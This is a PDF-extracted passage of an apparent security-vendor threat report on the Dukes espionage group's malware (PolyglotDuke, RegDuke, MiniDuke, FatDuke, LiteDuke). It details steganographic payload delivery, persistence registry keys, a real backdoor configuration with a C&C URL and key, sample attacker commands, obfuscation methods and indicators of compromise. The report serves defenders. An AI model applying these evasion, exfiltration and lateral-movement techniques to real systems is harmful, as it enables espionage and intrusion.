+rulourialuminiu.co[.]uk +rulourialuminiu.ro +powerpolymerindustry[.]com +powerpolymer.net +ceycarb[.]com +ceycarb (invalid, missing TLD) +Payload decryption and execution +A data blob containing encrypted data is appended to the end the downloaded file: this technique allows +data to be easily included in a JPEG or PNG image download in a way that means the image remains valid. +We couldn +t retrieve any of the files downloaded by PolyglotDuke to confirm this hypothesis but the way +the encrypted blob is added to such files in addition to their extension being .jpg or .png lead us to think +that they were valid images used to look like legitimate traffic. +To extract the payload from the file downloaded from the C&C server, PolyglotDuke will first decrypt +the last eight bytes with RC4 using the same key as the one used for strings decryption. The first four +decrypted bytes correspond the offset to the embedded blob relative to the end of the file and the last +four bytes provide a value used as integrity check; that value is the same as the first four bytes +at the beginning of the blob. +The structure of the file is described in Figure 13. +DWORD +0x1BD75010 +DWORD +DWORD +Size +0x100 +DWORD +size +RC4 encrypted PE +Signature +encrypted encrypted +offset +0x1BD75010 +Offset +Figure 13 // Embedded blob format +After obtaining the offset to the embedded blob and checking the integrity value, the size of the RC4-encrypted blob is retrieved from immediately afterward. Then, next to the encrypted blob, we find the signed +SHA-1 hash of the blob. Before decrypting the blob, the hash signature is checked against an RC4-encoded +public key hardcoded in the binary. The signature verification procedure is shown in Figure 14 , while +the public key used to check the hash signature is shown in Figure 15. +Operation Ghost +The Dukes aren +t back + they never left +Figure 14 // Decompiled hash signature verification procedure +Figure 15 // Public key used to verify the hash signature +This technique ensures that only a payload signed by the operators could be executed on the victim +machine, since the private key used to sign the hash is needed to generate a valid signature. +After having successfully checked the hash signature of the encrypted blob, it is decrypted using the same +key used for the RC4-encrypted strings. The format of the decrypted blob is shown in Figure 16. +DWORD +0x1BD75010 +Exec +type +0x1BD75010 +PE Size +PE Size +DWORD +Filename size +0x1BD75010 Filename +size +Filename +Figure 16 // Encrypted blob format after decryption +Notice that the same delimiter value is used and checked at various positions of the blob (in the example +in Figure 16 it is 0x1BD75010). Two of the bytes between the first two delimiters define the action +to be taken with the decrypted blob. +The value immediately following the second delimiter is the size of the data, being either a PE or an encrypted +configuration, followed by the data itself followed by a third delimiter, the size of the subsequent filename, +and finally the filename itself. The correct extension (.dll or .exe) will be appended to the filename +of the PE to be written, depending on the executable type. The list of valid combinations and their respective +behaviors is shown on Table 3. +Operation Ghost +Table 3 +The Dukes aren +t back + they never left +List of execution type combination and their corresponding behavior +exec type 1 +exec type 2 +behavior +write the executable to disk and launch it using CreateProcess +write the DLL to disk and launch it using rundll32.exe +write the DLL to disk and load it using LoadLibraryW +write the encrypted JSON config to the registry, updating the list of public pages to +parse for encoded C&C addresses +4.3 RegDuke: a first-stage implant +RegDuke is a first-stage implant that is apparently used only when attackers lose control of the other +implants on the same machine. Its purpose is to stay undetected as long as possible to help make sure +the operators never lose complete control of any compromised machine. +It is composed of a loader and a payload, the latter being stored encrypted on the disk. Both components +are written in .NET. RegDuke persists by using a WMI consumer named MicrosoftOfficeUpdates. +It is launched every time a process named WINWORD.EXE is started. +Our analysis is based on the sample with SHA-1 0A5A7DD4AD0F2E50F3577F8D43A4C55DDC1D80CF. +The loader +Between August 2017 and June 2019, we have seen four different main versions of the loader. The first +version was not obfuscated and had the encryption key hardcoded in the code. Later versions read the +encryption key from the Windows registry and use different types of obfuscation such as control-flow +flattening or directly using .NET Reactor, a commercial obfuscator. Figure 17 is a sample of RegDuke +obfuscated with .NET Reactor. +Figure 17 // Obfuscated RegDuke sample +The flow of the loader is simple. It reads the encrypted file at either a hardcoded path or at a value extracted +from the Windows registry, as shown in Figure 18. +Figure 18 // RegDuke. The path, password and salt are hardcoded in this example. +Operation Ghost +The Dukes aren +t back + they never left +Then, it decrypts it using a password and a salt either hardcoded in the loader or stored in the Windows +registry. The encryption key and the initialization vector are derived from the password and the salt using +the technique described in RFC 2898, also known as PBKDF2, as shown in Figure 19. +Figure 19 // Decryption of RegDuke payload +In all the samples we have seen, they use only the three different registry keys listed in Table 4. +It is interesting to note that attackers seem to have put some effort at selecting registry keys and values that +might look legitimate. +Table 4 +RegDuke Windows registry keys +Registry Key +Value containing +the directory of +the payload +Value containing +the filename of +the payload +Value containing +the password and +the salt +HKEY_LOCAL_MACHINE\SOFTWARE\Intel\ +MediaSDK\Dispatch\0102 +PathCPA +CPAmodule +Init +HKEY_LOCAL_MACHINE\SOFTWARE\Intel\ +MediaSDK\Dispatch\hw64-s1-1 +RootPath +APIModule +Stack +HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\ +MSBuild\4.0 +MSBuildOverrideTasksPath +DefaultLibs +BinaryCache +Finally, the decrypted Windows Executable is loaded using the Assembly.Load method. We only found +one payload, but we cannot be certain that others are not deployed in the wild. +The payload: a fileless, Dropbox-controlled backdoor +The payload is a backdoor that resides in memory only, and that uses Dropbox as its C&C server. +Its configuration is hardcoded in an internal class, shown in Figure 20. Our analysis is based on the sample +with SHA-1 5905C55189C683BC37258AEC28E916C41948CD1C. +Figure 20 // Dropbox backdoor configuration (redacted) +We have seen the following clientId values being used: collection_3, collection_4, collection_6, +collection_7, collection_8 and collection_99. However, other than collection_4, we were not +able to determine the targets for these collections. +Operation Ghost +The Dukes aren +t back + they never left +The backdoor regularly lists the Dropbox directory corresponding to its clientId and downloads PNG files +from it. The downloaded PNG files are valid pictures, as you can see in Figure 21. +Figure 21 // Example of two pictures downloaded from the Dropbox directory +However, the attackers have used steganography to hide data in the pictures. In Figure 22, you can see +the code looping over all the pixels of the image and extracting data from them. +Figure 22 // Loop extracting a payload from the pixels of a downloaded picture +Each pixel is encoded into 24 bits: 8 for red, 8 for green and 8 for blue. The developers use a technique +called +Least Significant Bit + to store 8 bits of data in each pixel, as shown in Figure 23. This technique +has been used previously by other malware such as Gozi [25]. They extract two bits from the red value, +three from the green and three from the blue. +Green +Blue +Figure 23 // The least significant bits of each color of each pixel are extracted to recover the hidden data +Operation Ghost +The Dukes aren +t back + they never left +The steganographically altered image has almost no visible difference from the original image because +the two or three least significant bits have a very limited impact on the color. For the green and blue +components of each pixel a maximum of 7/256, and for the red component 3/256 of a fully saturated pixel +variation will occur. Figure 24 shows a blue of value 255 (on the left) and the maximum deviation from that +in just the blue spectrum with a value of 248 (on the right). There is apparently no difference but, by doing +that on every pixel of the image, allows the attacker to store a backdoor in a still valid PNG image. +Figure 24 // Comparison between a blue of value 255 and a blue of value 248 +Finally, it decrypts the extracted bytes using the AES key hardcoded in the config. The decrypted data can be: + a Windows executable + a Windows DLL + a PowerShell script +We have seen the following executables being dropped by this Dropbox backdoor: + Several MiniDuke backdoors (see section 4.4) + Process Explorer, a utility that is part of the SysInternals suite +4.4 MiniDuke backdoor: the second stage +As highlighted in section 3.2, the most recent versions of the MiniDuke backdoor have a lot of code similarities +with earlier versions, such as the sample with SHA-1 of 86EC70C27E5346700714DBAE2F10E168A08210E4, +described by Kaspersky researchers in 2014 [21]. Our analysis is based on the sample with +SHA-1 B05CABA461000C6EBD8B237F318577E9BCCD6047, compiled on August 17, 2018. +MiniDuke acts as a second-stage backdoor, which is dropped by one of the two first-stage components +described in the sections above. +The most recent samples we are aware of were compiled in June 2019 and show no major changes, except +the C&C domain and the use of an invalid (likely transplanted) digital signature, as shown in Figure 25. +This might be an attempt to bypass some security products. +Figure 25 // Invalid digital signature added to the backdoor +Operation Ghost +The Dukes aren +t back + they never left +The backdoor is still written in pure x86 assembly but its size increased a lot + from 20 KB to 200+ KB. +This is due to the addition of obfuscation, mainly control-flow flattening [26], as shown in Figure 26. +This is a common obfuscation technique that makes it difficult to read the code because every function +is split in a switch/case inside a loop. +Figure 26 // Control flow flattening used to obfuscate the MiniDuke backdoor +Some of the Windows API functions are resolved dynamically. The backdoor uses a simple hash function +to obfuscate the name of the function it tries to resolve. +The network communication is relatively simple. It can use the GET, POST and PUT HTTP methods to contact +the hardcoded C&C server. +In order to blend into the legitimate traffic, the data are prepended with a JPEG header. The resulting images +are not valid, but it is very unlikely that anybody will check the validity of all pictures in the network traffic. +Figure 27 is an example of a POST request to the C&C server. As the server was down at the time of capture, +we were not able to receive a reply, but we believe the reply also contains a JPEG header, as the malware +ignores the first bytes of the reply. +Figure 27 // Post request to the C&C server that looks like a regular jpeg file upload +In addition to the HTTP protocol, the malware is able to send and receive data over a named pipe. This +feature typically allows it to reach machines on the local network that don +t have internet access. One +compromised machine, with internet access, will forward commands to other compromised machines +through the named pipe. +A similar feature to the named pipe is the HTTP proxy. The malware will listen on a first socket, either +on the default port 8080 or on a port specified by the operators. It will also open a second socket with +the C&C server. It waits for connections on the first socket and when one is established, it proxies data +between the two sockets. Thus, a machine without internet access, or with a firewall that blocks connections to the attackers + domain, might still be able to reach the C&C through the proxy machine. +Operation Ghost +The Dukes aren +t back + they never left +Finally, this malware implements thirty-eight different backdoor functions such as: + Uploading or downloading files + Creating processes + Getting system information (hostname, ID, pipename, HTTP method) + Getting the list of local drives and their type (unk, nrt, rmv, fix, net, cdr, ram, und) + Reading and writing in the named pipe + Starting and stopping the proxy feature +4.5 FatDuke: the third stage +FatDuke is the current flagship backdoor of the group and is only deployed on the most interesting +machines. It is generally dropped by the MiniDuke backdoor, but we also have seen the operators dropping +FatDuke using lateral movement tools such as PsExec. +The operators regularly repack this malware in order to evade detections. The most recent sample +of FatDuke we have seen was compiled on May 24, 2019. +We have seen them trying to regain control of a machine multiple times in a few days, each time with +a different sample. Their packer, described in a later section, adds a lot of code, leading to large binaries. +While the effective code should not be larger than 1MB, we have seen one sample weighing in at 13MB, +hence our name for this backdoor component: FatDuke. +In this section, we will use the sample with SHA-1 DB19171B239EF6DE8E83B2926EADC652E74A5AFA +for our analysis. +Installation and persistence +During our investigation, we were not able to find a dropper for FatDuke. We believe the operators simply +install the backdoor and establish persistence using the standard commands of an earlier stage backdoor. +We also noted that FatDuke generally replaced the second-stage binary, reusing the persistence +mechanism already in place. +The persistence we have seen is very standard. They use the registry key HKLM\SOFTWARE\Microsoft\ +Windows\CurrentVersion\Run and creatd a new value named Canon Gear and value C:\Program +Files\Canon\Network ScanGear\Canocpc.exe. This launches the backdoor each time a user logs in. +Configuration +FatDuke has a hardcoded configuration embedded in the executable +s resources, as shown in Figure 28. +Figure 28 // FatDuke configuration data in the PE resources +Operation Ghost +The Dukes aren +t back + they never left +The configuration data is a JSON object encoded in base64. Once decoded, it reveals much interesting +information, as shown in Figure 29. +"config_id": "145", +"encoding_mode": "Base64", +"encryption_mode": "Aes256", +"key": "62DA45930238A4A1149E76658A35C4A70CE7E0CDF7529C96499FB5F27AA647B3", +"pivoting_ip": "", +"pivoting_pipe": "lippstdt", +"pivoting_login": "Administrator", +"pivoting_password": "", +"server_address": "https://ministernetwork[.]org:443/Main/", +"ignore_certificate_errors": "0", +"connection_types": "WinInet,WinHttp,UrlMon", +"data_container": "Cookie", +"rsa_public_key": "LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0NCk1JSUJJakFOQmdrcWhraUc5dz +BCQVFFRkFBT0NBUThBTUlJQkNnS0NBUUVBcWZBWHVlRTdiK2pUUFhWb3MxVSsNCnRkcWV5WlR2dFNWYXRvZkt +1QWZUNm5wVmh3cHBieFRDcjdSN1Y2VXdwK2tPK1pTbWRWTTZ4b3VzOTAyTDVIV3UNCldXK1dOemsraDVJUzFP +dWdkeUJXQWs4bDRmWVRoMVBNbXgwTzQvZU9JY0g4c1NUNXZPOTB3SEY0T3pXQ1I4b3gNCkxqVGlkTTdpVXQ5Y +kptVjRkNDZVa2tpL3ZDYXZFU0p5b0l2eU9WS2M0ZjNRczQ2TW1uSjRnd1RoaE4rQkt2dmgNCnphbXJOZ3kzNk +9QY0IxOFRweGd3OW8vVmpMbTJ2RTB2c3dzM3hqOXlGTERTVFplRUFBY0V6c1NvckRQOFdOWm0NCktyMXVNUFh +vL3k2by9VOUptM3VPdUFFdG50cEpRQW5SZmFpZGZpbHBVUHF6OXZxWGpiOCtJSXVtWVQvRUVwcmMNCkd3SURB +UUFCDQotLS0tLUVORCBQVUJMSUMgS0VZLS0tLS0NCg==", +"request_min_timeout_s": "1", +"request_max_timeout_s": "60", +"php_aliases": "about.php,list.php,contacts.php,people.php,forum.php,index.php, +welcome.php", +"cookies": "param,location,id_cookie,info,session_id", +"service_cookie_1": "GMAIL_RTT", +"service_cookie_2": "SAPISID", +"service_cookie_3": "APISID", +"activity_scheduler": "Mon,Tue,Wed,Thu,Fri;0:00-23:59", +"grab_ua_by_probing": "0" +Figure 29 // FatDuke configuration example +Included in the information contained in the config, we can see: + The AES key used to encrypt/decrypt the network traffic + The pipe name and the credentials used to contact another machine on the local network + The C&C URL + The time of day when the backdoor is enabled for attacker access + Cookies that the malware can fetch in the browser +s cookie directory. They are related to cookies used +by Google services such as YouTube or Gmail +The operator has the possibility to fetch the configuration from the computer along with usual computer +information like username, Windows version, computer name, build, etc. +Finally, it does not seem possible to update this configuration without dropping a new version +of the malware. +Backdoor and network +FatDuke can be controlled remotely by the attackers using a custom C&C protocol over HTTP or using +named pipes on the local network. +HTTP communications and backdoor commands +In order to blend into the network traffic, FatDuke tries to mimic the user +s traffic by using the same +User-Agent as the browser installed on the system. It implements two different techniques to gather this +value. +Operation Ghost +The Dukes aren +t back + they never left +First, it can probe the User-Agent by making an HTTP request on a socket it has just created. +1. It creates a socket listening on localhost:80 +2. It accepts any connection +3. It calls ShellExecuteW with open and http://localhost: as argument. This will open the default +browser on the URL localhost. +4. The socket replies with a hardcoded HTTP reply: +HTTP/1.1 200 OK +Server: Apache/2.2.14 (Win32) +Content-Type: text/html +Connection: close + +This simple JavaScript code will directly close the browser. The window pops up only for a fraction +of second but the user also loses focus of the currently active window. +5. In order to extract the User-Agent, FatDuke parses the HTTP request sent by the browser to its socket. +If the previous method did not work, it can check the default browser in the registry key HKCU\Software\ +Classes\http\shell\open\command. It then selects one of the hardcoded User-Agent strings +accordingly, as shown in Table 5. +Hardcoded User-Agent +Table 5 +Default Browser +Selected User-Agent +Chrome +Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 +Safari/537.36 +Firefox +Mozilla/5.0 (Windows NT 6.1; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0 +Internet Explorer +Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0) +Opera +Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) +Chrome/37.0.2062.35 Safari/537.36 OPR/24.0.1558.21 +Safari +Mozilla/5.0 (Windows; Windows NT 6.1) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 +Safari/534.57.2 +Next, FatDuke contacts the C&C server, specified in the config, and uses one of the PHP scripts specified in +the php_aliases field of the config. It is interesting to note that these filenames are related to the theme +of the C&C server domain. For example, they registered the domain westmedicalgroup[.]net, and the +aliases list contains filenames such as doctors.php or diagnostics.php. +Figure 30 is a summary of the C&C protocol. +FatDuke +GET Request +to the C&C +Use a regex +to extract a specific +image URL +HTML page +Image URL +Downloads +the PNG image +Malicious +action +Execute +the command +{ JSON } +Decode +and decrypt +Backdoor +command in JSON +Figure 30 // FatDuke C&C protocol +Image URL +Operation Ghost +The Dukes aren +t back + they never left +The requests sent to the C&C server are crafted to look like typical GET requests and once again +are related to the script name. For example, the request below uses parameters that you might expect +to find on a forum +s website. +/homepage/forum.php?newsid=&article=&user= +e40a4bc603a74403979716c932f0523a&revision=3&fromcache=0 +However, while some fields are randomly generated strings, article and user could be used +by the operator to pinpoint the victim. The first keyword, article, is an identifier + a SHA-256 hash +of the volume identifier concatenated with MAC addresses found on the target computer. The other +keyword, user, probably flags the general configuration that comes with the malware. This value +is located in the PE resource section, right before the encoded configuration mentioned in section 4.5. +The reply is an HTML page, with the HTML content copied from a legitimate website such as the BBC. +However, if the C&C server wants to send a command to the malware, it will add an additional +HTML img tag to the page, as shown in Figure 31. +Figure 31 // Additional image tag sent by FatDuke C&C +Once it receives this HTML page, the malware uses the two following regexes: + ]*> + ]*> +These regexes extract the src attribute value + the URI of the image. If it finds an image, the malware will +make another GET request to http(s):////?imageid=. In our example, it will make a request to http:///about/bottom.php?imageid=32d7 +bcf505ca1af4a38762ff650968ac9cab2ce305cdbf8331d30b.png. +This will return a file, such as that shown in Figure 32. These files masquerade as PNG images +in the GET request, but are not valid images. They contain a header of 0x37 bytes, matching one hardcoded +in the malware, and a chunk of encrypted data that is base64 encoded. To further the PNG subterfuge, +the header contains an incomplete, misplaced and corrupted PNG header, which may be sufficient to avert +concern under cursory examination. +Figure 32 // C&C response including most of a valid PNG header and an encrypted command for FatDuke +Operation Ghost +The Dukes aren +t back + they never left +The malware then decrypts this data using AES-256 in ECB mode, with the key hardcoded in the config. +The result is a command in JSON. Figure 33 shows six real command examples. +{"commandBody":"14 C:\\Users\\\\AppData\\ +Local","size":0,"iscmd":true} +{"commandBody":"5 -parsing=raw -type=exe net. +exe use \\\\WORKPC\\IPC$ \\"\\" / +USER:Administrator","size":0,"iscmd":true} +{"commandBody":"5 -parsing=raw -type=exe schtasks.exe /Query /FO +TABLE","size":0,"iscmd":true} +{"commandBody":"14 C:\\Users\\Administrator","size":0,"iscmd":true} +{"commandBody":"14 \\\\\\C$\\Users\\User\\ +Desktop","size":0,"iscmd":true} +{"commandBody":"7","size":0,"iscmd":true} +Figure 33 // Example of commands sent to FatDuke +These JSON objects contain a command identifier and the command arguments. Table 6 shows +the commands implemented by FatDuke. +Table 6 +FatDuke backdoor commands +Description +Description +Read or write an environment variable +Copy a file or a directory +Load a DLL +Remove a directory +Unload a DLL +Remove a file +Execute rundll32 +Compute the MD5 of a file +Execute a command, a wscript, a PowerShell +command or create a process +cat a file +Execute a command, a wscript, a PowerShell +command or create a process, using a pipe to get +the result +Exfiltrate a file +Kill a process +Write a file +Kill itself +Write random data to a file (secure deletion) +Uninstall (secure delete its DLL and exit the +process) +System information +Turn on or off the random interval +Date +Set User-Agent to default value +List running processes +Enable debug log +Return the list of disks with their type and +available space +Return the working directory +Return malware information +Change the working directory +Listen to a pipe +List directory +Stop listening to a pipe +Create directory +List open pipes +Move a file or a directory +The C&C servers used for FatDuke do not seem to be compromised websites. In order to look legitimate, +they register variants of existing domains and redirect the homepage of their C&C server to the homepage +of the real domain. As mentioned before, this technique is also used for PolyglotDuke C&C servers. +For example, they registered the domain fairfieldsch[.]org and make it redirect +to fairfields.northants.sch.uk, the website of a school in the UK. +We also noticed that they used several C&C servers per targeted organization, but these servers apparently +t overlap across the victims, ensuring tight compartmentalization. +Operation Ghost +The Dukes aren +t back + they never left +Local network pivoting +What if the compromised machine doesn +t have access, or has restricted access, to the Internet? The +developers implemented a functionality they called PivotingPipeTransport. +It allows the malware to communicate with other malware instances using pipes. In order to connect to a +remote machine, it first calls WNetAddConnection2. This function takes the following arguments: + lpNetResource: the remote machine + lpPassword: the remote password + lpUserName: the remote username +These pieces of information are available in the malware configuration under the names: + pivoting_ip + pivoting_login + pivoting_password +Then, it will create a pipe using the name specified in the pivoting_pipe configuration field and use it to +communicate with the other malware instance. +Thus, this functionality allows attackers to bypass network restrictions that may be enforced on critical +systems. However, they need to steal the credentials of the remote machine first or use organization-level +administrative credentials. +Obfuscation +The FatDuke binaries are highly obfuscated. They use three different techniques in order to slow down +analysis. +First, they use string stacking for all important strings; this consists of building strings dynamically by pushing +each character separately on the stack, rather than using strings from the .data section. They also add +some basic operations to the stacking in order to prevent the extraction without emulating the code. Figure 34 +shows such an example where the ASCII value of each letter is multiplied with a hardcoded value of 1. +Figure 34 // FatDuke obfuscation + String stacking +Second, they also add opaque predicates in most of the functions. Opaque predicates are conditions that are +always True or always False. They are not part of the code's semantic, but the code is harder to read. +Figure 35 is an example of opaque predicates we found in FatDuke. Whatever the result of rand() is, v11 is +always equal to 15. Thus, the condition is always False. +Figure 35 // FatDuke obfuscation + Opaque predicate +Operation Ghost +The Dukes aren +t back + they never left +Third, they add junk code and junk strings. Unlike opaque predicates, the code will be executed +but it is useless and again is not part of the semantics of the program. For example, the function in Figure 36 +and in Figure 37 returns always the same value, which is never used. +Figure 36 // FatDuke obfuscation + Junk function call +Figure 37 // FatDuke obfuscation + Junk function return value +The binary contains a huge amount of strings from different projects like Chromium. It might be an attempt +to bypass security products, similar to what was posted by SkyLight [27]. These strings are used to fill very +large structures (about 1000 fields), probably to hide the few interesting fields used by the malware, as +shown in Figure 38. +Figure 38 // FatDuke obfuscation + Chromium strings +We are not sure whether Dukes + developers used a commercial obfuscation tool or if they developed +their own. However, given their level of sophistication, it would not be surprising if they rely on their +own obfuscator. +Operation Ghost +The Dukes aren +t back + they never left +4.6 LiteDuke: the former third stage +LiteDuke is a third-stage backdoor that was mainly used in 2014-2015. It is not directly linked to Operation +Ghost, but we found it on some machines compromised by MiniDuke. We chose to document it mainly +because we did not find it described elsewhere. We have dubbed it LiteDuke because it uses SQLite +to store information such as its configuration. Our analysis is based on the sample with SHA-1 +AF2B46D4371CE632E2669FEA1959EE8AF4EC39CE. +Link with the Dukes +LiteDuke uses the same dropper as PolyglotDuke. It also uses the same encryption scheme, shown in +Figure 7 in section 3.2, to obfuscate its strings. As we haven +t seen any other threat actor using the same code, +we are confident that LiteDuke was indeed part of the Dukes + arsenal. +Packer +LiteDuke is packed using several layers of encryption and steganography. +1. In the PE resources section, the initial dropper has a GIF picture. The picture is not valid but contains +a second dropper. +2. This second executable has a BMP picture in its resources. It uses steganography to hide bytes +in the image. Once decoded and decrypted, we have the loader. +3. The loader will decrypt the backdoor code and load it into memory. +Figure 39 summarizes the unpacking process from the initial dropper to the backdoor code. +Dropper 1 +Dropper 2 +Extract from +the resources +section +Decrypt +and execute +GIF picture +(invalid) +Loader +Extract from +the resources +section +Decode, decrypt, +drop and execute +Decrypt and load +into memory +BMP picture +(with data hidden +using steganography) +Backdoor +Figure 39 // LiteDuke unpacking process +Side Story +We also noticed that the attackers left a curious artefact in an older sample (the dropper with SHA-1 +7994714FFDD6411A6D64A7A6371DB9C529E70C37) as shown in Figure 40. +Figure 40 // Curious phone number left by the attackers +This is the phone number of a mental health specialist in a small city in the state of Indiana +in the United States. +Operation Ghost +The Dukes aren +t back + they never left +Backdoor +The backdoor code only exists in memory as only the loader is written to disk. The loader persists using +a Windows shortcut (.lnk file) that is registered in the traditional CurrentVersion\Run registry key. +According to the PE header, the developers did not make use of Visual Studio to compile this backdoor. +Figure 41 shows that they used the linker FASM 1.70. FASM (Flat Assembler) is an assembler that can produce +Windows or Linux binaries. It reminds us of the MiniDuke backdoor, developed directly in x86 assembly. +Figure 41 // Assembler used by the developer (screenshot of DIE analysis) +The backdoor DLL exports seven functions that have relatively explicit names (CC being Crypto Container): + SendBin + LoadFromCC + SaveToCC + GetDBHandle + GetCCFieldSize + GetCCFieldLn + DllEntryPoint +Interestingly, the malware apparently attempts to bypass Kaspersky security products by checking +if the registry key HKCU\Software\KasperskyLab exists and if so, it waits 30 seconds before executing +any additional code. We do not know whether this really bypasses any Kaspersky security products. +The Crypto Container is an SQLite database, stored on the disk in the same directory as the loader, +and uses SQLCipher. This SQLite extension encrypts the database using AES-256. The encryption key is the +MD5 hash of machine-specific values (such as CPUID, the account name, the BIOS version and the processor +name) to prevent decryption if, for example, the database ends up in a public malware repository. The key +is not stored anywhere but is re-generated at each execution. +The database contains three different tables, which are created using the following commands: +CREATE TABLE modules (uid INTEGER PRIMARY KEY, version char(255), +code blob, config blob, type char(10), md5sum char(32), autorun +(INTEGER); +CREATE TABLE objects (uid INTEGER PRIMARY KEY AUTOINCREMENT, name +CHAR(255), body blob, type char(10), md5sum char(32)); +CREATE TABLE config (uid INTEGER PRIMARY KEY AUTOINCREMENT, agent_id +CHAR(128), remote_host CHAR(256), remote_port integer, remote_path +char(1024), update_interval integer, server_key CHAR(32), rcv_header +CHAR(64)); +The configuration default values are hardcoded in the binary. This SQLite table allows the malware +operators to update these parameters easily. +Similarly, the modules, which are plug-ins for the backdoor, are stored in the database. Since the database +is encrypted, the modules never touch the disk in plaintext and will only be loaded into memory. +Unfortunately, we have not yet been able to find any of the plug-ins used by LiteDuke. +One artefact of the development method is the implementation of the backdoor commands. Usually, +a backdoor will have a big switch statement to check the command sent by the C&C server against the list +of commands implemented in the malware. In the case of LiteDuke, it is a succession of loops: one loop per +implemented command, as shown in Figure 42. +Operation Ghost +The Dukes aren +t back + they never left +Figure 42 // Multiple while loops instead of a backdoor switch case +Each of the 41 different commands has between three and six possible command IDs. The program will loop +successively on the list until the ID in the list matches the ID provided by the operator. The full list is available +in Figure 43. +Figure 43 // List of LiteDuke command IDs +Given the large number of different commands, we won +t list them all. Basically, the backdoor can: + Upload or download files + Securely delete a file by first writing random data (from a linear congruential generator) to the file + Update the database (config, modules and objects) + Create a process + Get system information (CPUID, BIOS version, account name, etc.) + Terminate itself +The network part of the backdoor is relatively simple. It uses GET requests to contact either the hardcoded +C&C URL or the one stored in the database. Figure 44 shows the domain, resources and parameters used +by LiteDuke. +Operation Ghost +The Dukes aren +t back + they never left +Figure 44 // LiteDuke C&C domain, resources and parameters +Among the different samples we analyzed, the C&C domains are different, but they always use a script +named rcv_get.php. We believe that the C&C domains are compromised servers. +In order to blend into the network traffic, and similar to FatDuke, the malware checks the default browser +and chooses its User-Agent request header accordingly, as shown in Table 7. It can also get the proxy +configuration from Firefox, in the configuration file prej.js, or from Opera, in the operaprefs.ini file. +This information is then used when establishing a connection to the C&C server. +Table 7 +User-Agent strings used by LiteDuke +Default Browser +User-Agent +Internet Explorer +Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; +SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729) +Firefox +Mozilla/5.0 (Windows NT 6.2; WOW64; rv:23.0) Gecko/20100101 +Firefox/23.0 +Chrome +Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13(KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 +Safari +Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.19.4 +(KHTML, like Gecko) Version/5.0.3 Safari/533.19.4 +Opera +Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.7.62 Version/11.01 +As one can see, some of these User-Agents are custom and they all refer to very old browsers, most of them +released in 2011. It is also way less stealthy than with FatDuke +s sniffing of the real User-Agent used by the +local browser. This reinforces our hypothesis that this backdoor was used many years ago and is no longer +deployed in the wild. +CONCLUSION +Operation Ghost shows that the Dukes never stopped their espionage activities. They were in the spotlight +after the breach of the Democratic National Committee during the 2016 US presidential elections. However, +they then recovered from that media attention and rebuilt most of their toolset. +Using these new tools and previously used techniques, such as leveraging Twitter and steganography, they +were able to breach Foreign Affairs Ministries of several European governments. +This campaign also shows that APT threat actors going dark for several years does not mean they have +stopped spying. They might pause for a while and re-appear in another form, but they still need to spy to +fulfill their mandates. +To help defenders better protect their networks, we will continue to monitor the Dukes + developments. +Indicators of Compromise can also be found on GitHub. For any inquiries, or to make sample submissions +related to the subject, contact us at: threatintel@eset.com. +Operation Ghost +The Dukes aren +t back + they never left +BIBLIOGRAPHY +D. Alperovitch, +Bears in the Midst: Intrusion into the Democratic National Committee, + 15 06 2016. [Online]. +Available: https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/. +Department of Homeland Security, +Enhanced Analysis of GRIZZLY STEPPE Activity, + 10 02 2017. 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[Online]. Available: +https://www.f-secure.com/weblog/archives/00002764.html. +ESET Research, +Miniduke still duking it out, + 20 05 2014. [Online]. Available: +https://www.welivesecurity.com/2014/05/20/miniduke-still-duking/. +S. Lozhkin, +Minidionis + one more APT with a usage of cloud drives, + 15 07 2015. [Online]. Available: +https://securelist.com/minidionis-one-more-apt-with-a-usage-of-cloud-drives/71443/. +J.-I. Boutin and M. Faou, +Visiting the snake nest, + 01 2018. [Online]. Available: +https://recon.cx/2018/brussels/resources/slides/RECON-BRX-2018-Visiting-The-Snake-Nest.pdf. +Operation Ghost +The Dukes aren +t back + they never left +ESET Research, +En Route with Sednit, + 10 2016. [Online]. Available: +https://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-full.pdf. +GReAT, +Miniduke is back: Nemesis Gemina and the Botgen Studio, + 03 07 2014. [Online]. Available: +https://securelist.com/miniduke-is-back-nemesis-gemina-and-the-botgen-studio/64107/. +The Unicode Consortium, +Katakana Range: 30A0 +30FF, + [Online]. Available: +https://www.unicode.org/charts/PDF/U30A0.pdf. +The Unicode Consortium, +Cherokee Range: 13A0-13FF, + [Online]. Available: +https://unicode.org/charts/PDF/U13A0.pdf. +The Unicode Consortium, +Kangxi Radicals Range: 2F00-2FDF, + [Online]. Available: +https://unicode.org/charts/PDF/U2F00.pdf. +P.-M. Bureau and C. Dietrich, +Hiding in Plain Sight, + 2015. [Online]. Available: https://www.blackhat.com/docs/ +eu-15/materials/eu-15-Bureau-Hiding-In-Plain-Sight-Advances-In-Malware-Covert-Communication-Channels.pdf. +T. L + and +. Kiss, +Obfuscating C++ programs via control flow flattening, + 08 2009. [Online]. +Available: http://ac.inf.elte.hu/Vol_030_2009/003.pdf. +Skylight, +Cylance, I Kill You!, + 18 07 2019. [Online]. Available: +https://skylightcyber.com/2019/07/18/cylance-i-kill-you/. +Operation Ghost +The Dukes aren +t back + they never left +INDICATORS OF COMPROMISE +7.1 Hashes +SHA-1 +Compilation +Date +ESET detection +name +4BA559C403FF3F5CC2571AE0961EAFF6CF0A50F6 +07/07/2014 +Win32/Agent.ZWH +CF14AC569A63DF214128F375C12D90E535770395 +07/06/2017 +Win32/Agent.AAPY +539D021CD17D901539A5E1132ECAAB7164ED5DB5 +07/06/2017 +Win32/Agent.ZWH +0E25EE58B119DD48B7C9931879294AC3FC433F50 +07/08/2017 +Win64/Agent.OL 